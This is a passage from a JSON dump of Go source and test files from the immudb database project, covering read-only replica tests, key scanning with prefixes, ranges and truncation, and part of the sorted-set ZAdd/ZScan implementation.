append(c,\n\t\t\tschema.PreconditionKeyMustNotExist([]byte(fmt.Sprintf(\"key_%d\", i))),\n\t\t)\n\t}\n\n\t_, err = db.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\tKey:           []byte(\"reference\"),\n\t\tReferencedKey: []byte(\"key\"),\n\t\tPreconditions: c,\n\t})\n\trequire.ErrorIs(t, err, store.ErrInvalidPrecondition)\n}\n"
  },
  {
    "path": "pkg/database/replica_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReadOnlyReplica(t *testing.T) {\n\trootPath := t.TempDir()\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath).AsReplica(true)\n\n\treplica, err := NewDB(\"db\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\terr = replica.Close()\n\trequire.NoError(t, err)\n\n\treplica, err = OpenDB(\"db\", nil, options, logger.NewSimpleLogger(\"immudb \", os.Stderr))\n\trequire.NoError(t, err)\n\n\t_, err = replica.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(\"key1\"), Value: []byte(\"value1\")}}})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = replica.ExecAll(context.Background(), &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(\"key1\"),\n\t\t\t\t\t\tValue: []byte(\"value1\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}},\n\t)\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = replica.SetReference(context.Background(), &schema.ReferenceRequest{\n\t\tKey:           []byte(\"key\"),\n\t\tReferencedKey: []byte(\"refkey\"),\n\t})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = replica.ZAdd(context.Background(), &schema.ZAddRequest{\n\t\tSet:   []byte(\"set\"),\n\t\tScore: 1,\n\t\tKey:   []byte(\"key\"),\n\t})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)\"})\n\trequire.ErrorIs(t, err, ErrIsReplica)\n\n\t_, err = replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: \"SELECT * FROM mytable\"})\n\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n\n\t_, err = replica.DescribeTable(context.Background(), nil, \"mytable\")\n\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n\n\tres, err := replica.ListTables(context.Background(), nil)\n\trequire.NoError(t, err)\n\trequire.Empty(t, res.Rows)\n\n\t_, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"mytable\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t\t},\n\t})\n\trequire.ErrorIs(t, err, sql.ErrTableDoesNotExist)\n}\n\nfunc TestSwitchToReplica(t *testing.T) {\n\trootPath := t.TempDir()\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath).AsReplica(false)\n\n\treplica := makeDbWith(t, \"db\", options)\n\n\t_, _, err := replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"CREATE TABLE mytable(id INTEGER, title VARCHAR, PRIMARY KEY id)\"})\n\trequire.NoError(t, err)\n\n\t_, _, err = replica.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: \"INSERT INTO mytable(id, title) VALUES (1, 'TITLE1')\"})\n\trequire.NoError(t, err)\n\n\treplica.AsReplica(true, false, 0)\n\n\tstate, err := replica.CurrentState()\n\trequire.NoError(t, err)\n\n\terr = replica.DiscardPrecommittedTxsSince(state.TxId)\n\trequire.Error(t, err, store.ErrIllegalArguments)\n\n\t_, err = replica.ListTables(context.Background(), nil)\n\trequire.NoError(t, err)\n\n\t_, err = replica.DescribeTable(context.Background(), nil, \"mytable\")\n\trequire.NoError(t, err)\n\n\treader, err := replica.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: \"SELECT * FROM mytable\"})\n\trequire.NoError(t, err)\n\trequire.NoError(t, reader.Close())\n\n\t_, err = replica.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{\n\t\t\tTable:    \"mytable\",\n\t\t\tPkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}},\n\t\t},\n\t})\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/database/scan.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// Scan ...\nfunc (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries, error) {\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tcurrTxID, _ := d.st.CommittedAlh()\n\n\tif req == nil || req.SinceTx > currTxID {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tif req.Limit > uint64(d.maxResultSize) {\n\t\treturn nil, fmt.Errorf(\"%w: the specified limit (%d) is larger than the maximum allowed one (%d)\",\n\t\t\tErrResultSizeLimitExceeded, req.Limit, d.maxResultSize)\n\t}\n\n\tlimit := int(req.Limit)\n\tif req.Limit == 0 {\n\t\tlimit = d.maxResultSize\n\t}\n\n\tseekKey := req.SeekKey\n\tif len(seekKey) > 0 {\n\t\tseekKey = EncodeKey(req.SeekKey)\n\t}\n\n\tendKey := req.EndKey\n\tif len(endKey) > 0 {\n\t\tendKey = EncodeKey(req.EndKey)\n\t}\n\n\tsnap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer snap.Close()\n\n\tr, err := snap.NewKeyReader(\n\t\tstore.KeyReaderSpec{\n\t\t\tSeekKey:       seekKey,\n\t\t\tEndKey:        endKey,\n\t\t\tPrefix:        EncodeKey(req.Prefix),\n\t\t\tDescOrder:     req.Desc,\n\t\t\tFilters:       []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted},\n\t\t\tInclusiveSeek: req.InclusiveSeek,\n\t\t\tInclusiveEnd:  req.InclusiveEnd,\n\t\t\tOffset:        req.Offset,\n\t\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer r.Close()\n\n\tentries := &schema.Entries{}\n\n\tfor l := 1; l <= limit; l++ {\n\t\tkey, valRef, err := r.Read(ctx)\n\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\te, err := d.getAtTx(ctx, key, valRef.Tx(), 0, snap, valRef.HC(), true)\n\t\tif errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, io.EOF) {\n\t\t\tcontinue // ignore deleted or truncated ones (referenced key may have been deleted or truncated)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tentries.Entries = append(entries.Entries, e)\n\t}\n\n\treturn entries, nil\n}\n"
  },
  {
    "path": "pkg/database/scan_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestStoreScan(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.maxResultSize = 3\n\n\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`aaa`), Value: []byte(`item1`)}}})\n\trequire.NoError(t, err)\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`bbb`), Value: []byte(`item2`)}}})\n\trequire.NoError(t, err)\n\n\tscanOptions := schema.ScanRequest{\n\t\tPrefix: []byte(`z`),\n\t}\n\tlist, err := db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Empty(t, list.Entries)\n\n\tmeta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`abc`), Value: []byte(`item3`)}}})\n\trequire.NoError(t, err)\n\n\titem, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`abc`), SinceTx: meta.Id})\n\trequire.Equal(t, []byte(`abc`), item.Key)\n\trequire.NoError(t, err)\n\n\t_, err = db.Scan(context.Background(), nil)\n\trequire.Equal(t, store.ErrIllegalArguments, err)\n\n\t_, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`acb`), Value: []byte(`item4`)}}})\n\trequire.NoError(t, err)\n\n\tscanOptions = schema.ScanRequest{\n\t\tSeekKey: []byte(`b`),\n\t\tPrefix:  []byte(`a`),\n\t\tLimit:   uint64(db.MaxResultSize() + 1),\n\t\tDesc:    true,\n\t}\n\n\t_, err = db.Scan(context.Background(), &scanOptions)\n\trequire.ErrorIs(t, err, ErrResultSizeLimitExceeded)\n\n\tscanOptions = schema.ScanRequest{\n\t\tSeekKey: []byte(`b`),\n\t\tPrefix:  []byte(`a`),\n\t\tLimit:   0,\n\t\tDesc:    true,\n\t}\n\n\tlist, err = db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 3, len(list.Entries))\n\trequire.Equal(t, list.Entries[0].Key, []byte(`acb`))\n\trequire.Equal(t, list.Entries[0].Value, []byte(`item4`))\n\trequire.Equal(t, list.Entries[1].Key, []byte(`abc`))\n\trequire.Equal(t, list.Entries[1].Value, []byte(`item3`))\n\trequire.Equal(t, list.Entries[2].Key, []byte(`aaa`))\n\trequire.Equal(t, list.Entries[2].Value, []byte(`item1`))\n\n\tscanOptions1 := schema.ScanRequest{\n\t\tSeekKey: []byte(`a`),\n\t\tPrefix:  nil,\n\t\tLimit:   0,\n\t\tDesc:    false,\n\t}\n\n\tlist1, err := db.Scan(context.Background(), &scanOptions1)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 3, len(list1.Entries))\n\trequire.Equal(t, list1.Entries[0].Key, []byte(`aaa`))\n\trequire.Equal(t, list1.Entries[0].Value, []byte(`item1`))\n\trequire.Equal(t, list1.Entries[1].Key, []byte(`abc`))\n\trequire.Equal(t, list1.Entries[1].Value, []byte(`item3`))\n\trequire.Equal(t, list1.Entries[2].Key, []byte(`acb`))\n\trequire.Equal(t, list1.Entries[2].Value, []byte(`item4`))\n}\n\nfunc TestStoreScanPrefix(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix1`), Value: []byte(`item1`)}}})\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix2`), Value: []byte(`item2`)}}})\n\n\tmeta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`prefix:suffix3`), Value: []byte(`item3`)}}})\n\trequire.NoError(t, err)\n\n\tscanOptions := schema.ScanRequest{\n\t\tSeekKey: nil,\n\t\tPrefix:  []byte(`prefix:`),\n\t\tLimit:   0,\n\t\tDesc:    false,\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err := db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 3, len(list.Entries))\n\trequire.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix1`))\n\trequire.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix2`))\n\trequire.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix3`))\n\n\tscanOptions = schema.ScanRequest{\n\t\tSeekKey: []byte(`prefix?`),\n\t\tPrefix:  []byte(`prefix:`),\n\t\tLimit:   0,\n\t\tDesc:    true,\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err = db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 3, len(list.Entries))\n\trequire.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix3`))\n\trequire.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix2`))\n\trequire.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix1`))\n}\n\nfunc TestStoreScanDesc(t *testing.T) {\n\tdb := makeDb(t)\n\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`item1`)}}})\n\tdb.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`item2`)}}})\n\n\tmeta, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`item3`)}}})\n\trequire.NoError(t, err)\n\n\tscanOptions := schema.ScanRequest{\n\t\tSeekKey: []byte(`k`),\n\t\tPrefix:  []byte(`key`),\n\t\tLimit:   0,\n\t\tDesc:    false,\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err := db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 3, len(list.Entries))\n\trequire.Equal(t, list.Entries[0].Key, []byte(`key1`))\n\trequire.Equal(t, list.Entries[1].Key, []byte(`key2`))\n\trequire.Equal(t, list.Entries[2].Key, []byte(`key3`))\n\n\tscanOptions = schema.ScanRequest{\n\t\tSeekKey: []byte(`key22`),\n\t\tPrefix:  []byte(`key`),\n\t\tLimit:   0,\n\t\tDesc:    true,\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err = db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 2, len(list.Entries))\n\trequire.Equal(t, list.Entries[0].Key, []byte(`key2`))\n\trequire.Equal(t, list.Entries[1].Key, []byte(`key1`))\n\n\tscanOptions = schema.ScanRequest{\n\t\tSeekKey: []byte(`key2`),\n\t\tPrefix:  []byte(`key`),\n\t\tLimit:   0,\n\t\tDesc:    true,\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err = db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Exactly(t, 1, len(list.Entries))\n\trequire.Equal(t, list.Entries[0].Key, []byte(`key1`))\n\n\tscanOptions = schema.ScanRequest{\n\t\tSeekKey: nil,\n\t\tPrefix:  []byte(`key`),\n\t\tLimit:   0,\n\t\tDesc:    true,\n\t\tSinceTx: meta.Id,\n\t}\n\n\tlist, err = db.Scan(context.Background(), &scanOptions)\n\trequire.NoError(t, err)\n\trequire.Len(t, list.Entries, 3)\n}\n\nfunc TestStoreScanEndKey(t *testing.T) {\n\tdb := makeDb(t)\n\n\tfor i := 1; i < 100; i++ {\n\t\t_, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{\n\t\t\tKey:   []byte(fmt.Sprintf(\"key_%02d\", i)),\n\t\t\tValue: []byte(fmt.Sprintf(\"val_%02d\", i)),\n\t\t}}})\n\t\trequire.NoError(t, err)\n\t}\n\n\tt.Run(\"not inclusive\", func(t *testing.T) {\n\t\tres, err := db.Scan(context.Background(), &schema.ScanRequest{\n\t\t\tSeekKey: []byte(\"key_11\"),\n\t\t\tEndKey:  []byte(\"key_44\"),\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, res.Entries, 44-12)\n\t\tfor i := 12; i < 44; i++ {\n\t\t\trequire.Equal(t, res.Entries[i-12].Key, []byte(fmt.Sprintf(\"key_%02d\", i)))\n\t\t\trequire.Equal(t, res.Entries[i-12].Value, []byte(fmt.Sprintf(\"val_%02d\", i)))\n\t\t}\n\t})\n\n\tt.Run(\"inclusive seek\", func(t *testing.T) {\n\t\tres, err := db.Scan(context.Background(), &schema.ScanRequest{\n\t\t\tSeekKey:       []byte(\"key_11\"),\n\t\t\tEndKey:        []byte(\"key_44\"),\n\t\t\tInclusiveSeek: true,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, res.Entries, 44-11)\n\t\tfor i := 11; i < 44; i++ {\n\t\t\trequire.Equal(t, res.Entries[i-11].Key, []byte(fmt.Sprintf(\"key_%02d\", i)))\n\t\t\trequire.Equal(t, res.Entries[i-11].Value, []byte(fmt.Sprintf(\"val_%02d\", i)))\n\t\t}\n\t})\n\n\tt.Run(\"inclusive end\", func(t *testing.T) {\n\t\tres, err := db.Scan(context.Background(), &schema.ScanRequest{\n\t\t\tSeekKey:      []byte(\"key_11\"),\n\t\t\tEndKey:       []byte(\"key_44\"),\n\t\t\tInclusiveEnd: true,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, res.Entries, 44-11)\n\t\tfor i := 12; i <= 44; i++ {\n\t\t\trequire.Equal(t, res.Entries[i-12].Key, []byte(fmt.Sprintf(\"key_%02d\", i)))\n\t\t\trequire.Equal(t, res.Entries[i-12].Value, []byte(fmt.Sprintf(\"val_%02d\", i)))\n\t\t}\n\t})\n\n\tt.Run(\"inclusive seek and end\", func(t *testing.T) {\n\t\tres, err := db.Scan(context.Background(), &schema.ScanRequest{\n\t\t\tSeekKey:       []byte(\"key_11\"),\n\t\t\tEndKey:        []byte(\"key_44\"),\n\t\t\tInclusiveSeek: true,\n\t\t\tInclusiveEnd:  true,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, res.Entries, 44-10)\n\t\tfor i := 11; i <= 44; i++ {\n\t\t\trequire.Equal(t, res.Entries[i-11].Key, []byte(fmt.Sprintf(\"key_%02d\", i)))\n\t\t\trequire.Equal(t, res.Entries[i-11].Value, []byte(fmt.Sprintf(\"val_%02d\", i)))\n\t\t}\n\t})\n}\n\nfunc TestStoreScanWithTruncation(t *testing.T) {\n\trootPath := t.TempDir()\n\n\tfileSize := 8\n\n\toptions := DefaultOptions().WithDBRootPath(rootPath)\n\toptions.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize)\n\toptions.storeOpts.MaxIOConcurrency = 1\n\toptions.storeOpts.MaxConcurrency = 500\n\toptions.storeOpts.VLogCacheSize = 0\n\toptions.storeOpts.EmbeddedValues = false\n\n\tdb := makeDbWith(t, \"db\", options)\n\n\tfor i := 1; i < 10; i++ {\n\t\t_, err := db.Set(\n\t\t\tcontext.Background(),\n\t\t\t&schema.SetRequest{\n\t\t\t\tKVs: []*schema.KeyValue{{\n\t\t\t\t\tKey:   []byte(fmt.Sprintf(\"prefix:suffix%d\", i)),\n\t\t\t\t\tValue: []byte(`item`),\n\t\t\t\t}},\n\t\t\t},\n\t\t)\n\t\trequire.NoError(t, err)\n\t}\n\n\tdeletePointTx := uint64(5)\n\n\tt.Run(\"ensure data is truncated until the deletion point\", func(t *testing.T) {\n\t\tc := NewVlogTruncator(db, logger.NewMemoryLogger())\n\t\trequire.NoError(t, c.TruncateUptoTx(context.Background(), deletePointTx))\n\n\t\tfor i := deletePointTx; i < 10; i++ {\n\t\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\t\terr := db.st.ReadTx(i, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\t_, err := db.st.ReadValue(e)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t}\n\t\t}\n\n\t\tfor i := deletePointTx - 1; i > 0; i-- {\n\t\t\ttx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen())\n\n\t\t\terr := db.st.ReadTx(i, false, tx)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tfor _, e := range tx.Entries() {\n\t\t\t\t_, err := db.st.ReadValue(e)\n\t\t\t\trequire.Error(t, err)\n\t\t\t}\n\t\t}\n\t})\n\n\tt.Run(\"ensure scanning prefix works post data deletion\", func(t *testing.T) {\n\t\tscanOptions := schema.ScanRequest{\n\t\t\tPrefix: []byte(`prefix:`),\n\t\t\tDesc:   false,\n\t\t}\n\n\t\tlist, err := db.Scan(context.Background(), &scanOptions)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 5, len(list.Entries))\n\t\trequire.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix5`))\n\t\trequire.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix6`))\n\t\trequire.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`))\n\t\trequire.Equal(t, list.Entries[3].Key, []byte(`prefix:suffix8`))\n\t\trequire.Equal(t, list.Entries[4].Key, []byte(`prefix:suffix9`))\n\n\t\tscanOptions = schema.ScanRequest{\n\t\t\tPrefix: []byte(`prefix:`),\n\t\t\tDesc:   true,\n\t\t}\n\n\t\tlist, err = db.Scan(context.Background(), &scanOptions)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, 5, len(list.Entries))\n\t\trequire.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix9`))\n\t\trequire.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix8`))\n\t\trequire.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix7`))\n\t\trequire.Equal(t, list.Entries[3].Key, []byte(`prefix:suffix6`))\n\t\trequire.Equal(t, list.Entries[4].Key, []byte(`prefix:suffix5`))\n\t})\n}\n"
  },
  {
    "path": "pkg/database/sorted_set.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage database\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nconst setLenLen = 8\nconst scoreLen = 8\nconst keyLenLen = 8\nconst txIDLen = 8\n\n// ZAdd adds a score for an existing key in a sorted set\n// As a parameter of ZAddOptions is possible to provide the associated index of the provided key. In this way, when resolving reference, the specified version of the key will be returned.\n// If the index is not provided the resolution will use only the key and last version of the item will be returned\n// If ZAddOptions.index is provided key is optional\nfunc (d *db) ZAdd(ctx context.Context, req *schema.ZAddRequest) (*schema.TxHeader, error) {\n\tif req == nil || len(req.Set) == 0 || len(req.Key) == 0 {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tif (req.AtTx == 0 && req.BoundRef) || (req.AtTx > 0 && !req.BoundRef) {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\td.mutex.Lock()\n\tdefer d.mutex.Unlock()\n\n\tif d.isReplica() {\n\t\treturn nil, ErrIsReplica\n\t}\n\n\tlastTxID, _ := d.st.CommittedAlh()\n\terr := d.st.WaitForIndexingUpto(ctx, lastTxID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// check referenced key exists and it's not a reference\n\tkey := EncodeKey(req.Key)\n\n\trefEntry, err := d.getAtTx(ctx, key, req.AtTx, 0, d.st, 0, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif refEntry.ReferencedBy != nil {\n\t\treturn nil, ErrReferencedKeyCannotBeAReference\n\t}\n\n\ttx, err := d.st.NewWriteOnlyTx(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Cancel()\n\n\te := EncodeZAdd(req.Set, req.Score, key, req.AtTx)\n\n\terr = tx.Set(e.Key, e.Metadata, e.Value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar hdr *store.TxHeader\n\n\tif req.NoWait {\n\t\thdr, err = tx.AsyncCommit(ctx)\n\t} else {\n\t\thdr, err = tx.Commit(ctx)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn schema.TxHeaderToProto(hdr), nil\n}\n\n// ZScan ...\nfunc (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntries, error) {\n\tif req == nil || len(req.Set) == 0 {\n\t\treturn nil, store.ErrIllegalArguments\n\t}\n\n\tif req.Limit > uint64(d.maxResultSize) {\n\t\treturn nil, fmt.Errorf(\"%w: the specified limit (%d) is larger than the maximum allowed one (%d)\",\n\t\t\tErrResultSizeLimitExceeded, req.Limit, d.maxResultSize)\n\t}\n\n\tlimit := int(req.Limit)\n\tif req.Limit == 0 {\n\t\tlimit = d.maxResultSize\n\t}\n\n\td.mutex.RLock()\n\tdefer d.mutex.RUnlock()\n\n\tcurrTxID, _ := d.st.CommittedAlh()\n\n\tif req.SinceTx > currTxID {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tprefix := make([]byte, 1+setLenLen+len(req.Set))\n\tprefix[0] = SortedSetKeyPrefix\n\tbinary.BigEndian.PutUint64(prefix[1:], uint64(len(req.Set)))\n\tcopy(prefix[1+setLenLen:], req.Set)\n\n\tvar seekKey []byte\n\n\tif len(req.SeekKey) == 0 {\n\t\tseekKey = make([]byte, len(prefix)+scoreLen)\n\t\tcopy(seekKey, prefix)\n\t\t// here we compose the offset if Min score filter is provided only if is not reversed order\n\t\tif req.MinScore != nil && !req.Desc {\n\t\t\tbinary.BigEndian.PutUint64(seekKey[len(prefix):], math.Float64bits(req.MinScore.Score))\n\t\t}\n\t\t// here we compose the offset if Max score filter is provided only if is reversed order\n\t\tif req.Desc {\n\t\t\tvar maxScore float64\n\n\t\t\tif req.MaxScore == nil {\n\t\t\t\tmaxScore = math.MaxFloat64\n\t\t\t} else {\n\t\t\t\tmaxScore = req.MaxScore.Score\n\t\t\t}\n\n\t\t\tbinary.BigEndian.PutUint64(seekKey[len(prefix):], math.Float64bits(maxScore))\n\t\t}\n\t} else {\n\t\tseekKey = make([]byte, len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey)+txIDLen)\n\t\tcopy(seekKey, prefix)\n\t\tbinary.BigEndian.PutUint64(seekKey[len(prefix):], math.Float64bits(req.SeekScore))\n\t\tbinary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen:], uint64(1+len(req.SeekKey)))\n\t\tcopy(seekKey[len(prefix)+scoreLen+keyLenLen:], EncodeKey(req.SeekKey))\n\t\tbinary.BigEndian.PutUint64(seekKey[len(prefix)+scoreLen+keyLenLen+1+len(req.SeekKey):], req.SeekAtTx)\n\t}\n\n\tzsnap, err := d.snapshotSince(ctx, []byte{SortedSetKeyPrefix}, req.SinceTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer zsnap.Close()\n\n\tr, err := zsnap.NewKeyReader(\n\t\tstore.KeyReaderSpec{\n\t\t\tSeekKey:       seekKey,\n\t\t\tPrefix:        prefix,\n\t\t\tInclusiveSeek: req.InclusiveSeek,\n\t\t\tDescOrder:     req.Desc,\n\t\t\tFilters:       []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted},\n\t\t\tOffset:        req.Offset,\n\t\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer r.Close()\n\n\tkvsnap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer kvsnap.Close()\n\n\tentries := &schema.ZEntries{}\n\tfor l := 1; l <= limit; l++ {\n\t\tzKey, _, err := r.Read(ctx)\n\t\tif errors.Is(err, store.ErrNoMoreEntries) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil 